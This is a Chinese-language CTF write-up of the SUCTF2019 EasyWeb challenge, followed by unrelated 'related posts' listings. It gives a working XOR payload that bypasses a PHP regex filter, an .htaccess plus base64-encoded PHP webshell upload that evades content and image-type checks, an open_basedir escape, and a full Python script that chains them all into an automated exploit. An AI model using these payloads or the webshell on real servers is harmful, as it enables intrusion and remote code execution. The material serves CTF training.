SUCTF2019 EasyWeb

考察了3层内容

1.绕过正则匹配限制

$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);

要求传入的变量长度小于等于18而且匹配
首先对正则进行fuzz

<?php
for($i=32;$i<127;$i++){$hhh=chr($i);if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)) {echo $hhh;}
}
?>
//!#$%()*+-/:;<>?@\]^{}

得到了!#$%()*±/:;<>?@]^{}这些可用字符,于是可以利用

  • php代码中没有引号的字符都自动作为字符串
  • 利用异或产生字符串_GET
  • php的花括号解析输入,来执行函数get_the_flag,最终payload
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

首先 %fe%fe%fe%fe^%a1%b9%bb%aa异或得到的内容是_GET,于是相当于${_GET}{%fe}();,而%fe又传入get_the_flag,于是变成

  • ${_GET}{get_the_flag}();
    从而完成对get_the_flag函数的调用

2.文件上传绕过

 if(preg_match("/ph/i",$extension)) die("^_^");

黑名单考虑用.htaccess上传绕过

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

对<?的匹配有2种绕过方式

  • 一是<script language=“php”>eval($_GET[‘c’]);</script>
  • 二是base64把程序编码,从而绕过对<?的匹配
    这里使用第二种写法
if(!exif_imagetype($tmp_name)) die("^_^");

对文件类型的匹配参考了这篇文章,利用 \x00\x00\x8a\x39\x8a\x39开头来绕过

3绕过disable_function的限制

因为出题人disable_function的过滤不严,可以通过

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

原因参考这篇文章
在var_dump里命令执行得到flag

预期解应该是利用php-fpm绕过open_basedir和disable_function,参考这篇文章

final

BUUCTF上复现环境的一键getflag脚本

import requests
import hashlib
import base64url ="http://5e802d16-eb6f-4dd0-8c88-2435d45e1719.node3.buuoj.cn/"  #need to be changed
padding = "?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
myip=requests.get("http://ifconfig.me").text
#因为在校园网环境ifconfig是本地ip,通过这个拿到公网ip
print(myip)ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
#上传位置
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc""""shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#生成.htaccess和base64编码的shell文件
files =[('file',('.htaccess',htaccess,'image/jpeg'))]
data ={"upload":"Submit"}res = requests.post(url=url+padding, data=data, files=files)files = [('file',('shell.cc',shell,'image/jpeg'))]res = requests.post(url=url+padding, data=data, files=files)
print("the path is:"+url+res.text)
#命令执行
cmd="?c=chdir(%27xxx%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27/THis_Is_tHe_F14g%27));"
final_res = requests.post(url=url+res.text+cmd)
print(final_res.text)

References

1.https://xz.aliyun.com/t/3937
2.https://xz.aliyun.com/t/4720
3https://xz.aliyun.com/t/5677
4https://www.cnblogs.com/BOHB-yunying/p/11520031.html

SUCTF2019 EasyWeb相关推荐

  1. CTF训练计划—[CISCN2019]Easyweb

    前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...

  2. Easyweb包括iframe中的页面跳转

    文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...

  3. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  4. [羊城杯 2020]login [SUCTF2019]hardcpp

    文章目录 [羊城杯 2020]login 思路:一个py编译的exe,需要解包,然后反编译成py文件 1.解包:python pyinstxtractor.py login.exe 提示:pyinst ...

  5. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  6. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  7. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  8. BUUCTF RE [SUCTF2019] SignIn

    好 今日我们来刷ctf 查看文件发现是64位的文件 无壳 用ida64位打开它 发现gmpz_init_set_str,gmpz_powm这类函数 去搜一搜资料发现是GNU 高精度算法库 gmp文档资 ...

  9. easyweb新标签页打开

    index.openTab({                 title: '添加产品',                  url: 'pages/Order/form/order-add.htm ...

  10. buuctf——(SUCTF2019)SignIn

    1.查壳. 无壳,64位文件. 2.丢到IDA中反编译. 3.分析代码.最后是比较v6和v7 关键是_gmpz_powm这个函数 网搜了下,发现都是英文(枯了枯了),就求助了一下大佬. 这个函数和__ ...

最新文章

  1. docker 安装vim
  2. mysql的引擎讲解
  3. c语言exit_C语言实现2048
  4. Android TextView 设置文字背景色或文字颜色,字体阴影,字体样式
  5. 计算机组成原理刘红玲,计算机组成原理/21世纪高等学校规划教材
  6. 数据模型和数据库系统的模型结构
  7. python读文件指定行的数据
  8. matplotlib.pyplot.hist(柱状图)
  9. oracle存档模式,Oracle学习系列之如何开启归档模式
  10. 取消浏览器的默认样式
  11. 【优化算法】哈里斯鹰算法(HHO)【含Matlab源码 1309期】
  12. Linux查看jdk版本、卸载jdk
  13. Android Studio 安装TinyPng插件
  14. 大数据技术与实践实验报告总结_大数据平台搭建实验心得体会
  15. linux+软盘启动程序,怎样制作Linux启动软盘.
  16. 若依集成actuator实现优雅关闭应用
  17. 关于路由器中设置IP与网关不在同一网段方法的问题
  18. mac MySql 重启
  19. 云虚拟主机bch 和 云服务器bcc,虚拟主机bch和云服务器bcc
  20. 抑郁症患者突然心情变好,不一定是好事!

热门文章

  1. win7共享20人限制 清除_中控智慧考勤门禁_机器直连软件及清除管理员
  2. Android 动画 Kotlin 教程
  3. 建议收藏,22个Python迷你项目(附源码)
  4. 【数学建模】层次分析法(AHP)+Matlab实现
  5. 简历制作-技术栈和项目经历如何写?
  6. 计算机excer试题,计算机电子表格excel练习题
  7. 那智机器人调试步骤总结
  8. 设计模式——行为型模式
  9. linux内核hack,怎么Hack Linux的内核符号?
  10. 计算机会计应用实训,大学excel在会计中的应用的实训心得